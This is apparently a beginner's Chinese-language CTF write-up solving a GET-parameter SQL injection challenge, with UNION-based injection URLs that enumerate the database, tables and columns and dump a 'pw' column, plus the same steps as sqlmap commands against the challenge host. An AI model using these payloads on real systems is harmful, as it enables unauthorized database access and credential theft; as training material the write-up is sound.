#题目 是一个小白写的不好请见谅
#场景
##1.1
这里的看到意思是“请输入ID,并尝试绕过”
这里很大概率就是 SQL注入 没有多余注入位置且是GET请求,就直接在url里输入尝试了,也可以用直接用sqlmap,两个我在这里都发一下。
##1.2
先尝试手动敲一下判断类型
因为是基础很简单就尝试出来了
http://ip/?id=1' union select 2,3 --+
##1.3
http://ip/?id=1' union select 2,database() --+
查出来当前数据库名为’cyber’
##1.4
查出来表名为’cyber’,这里巧合和数据库名一样
http://61.147.171.105:64923/?id=1' union select 2,group_concat(table_name) from information_schema.tables where table_schema = 'cyber' --+
##1.5
查出来字段三个在这里直接选’pw’因为flag就在里面
http://61.147.171.105:64923/?id=1' union select 2,group_concat(column_name) from information_schema.columns where table_name = 'cyber' --+
选择’pw’拿到flag
http://61.147.171.105:64923/?id=1' union select 2,group_concat(pw) from cyber.cyber --+
下面是用sqlmap
这个就比较简单了
爆库
python sqlmap.py -u "http://61.147.171.105:64923/index.php?id=1" -dbs
爆表
python sqlmap.py -u "http://61.147.171.105:64923/index.php?id=1" -D cyber --tables
爆字段
python sqlmap.py -u "http://61.147.171.105:64923/index.php?id=1" -D cyber -T cyber --columns
查看’pw’拿到flag
python sqlmap.py -u "http://61.147.171.105:64923/index.php?id=1" -D cyber -T cyber -C pw --dump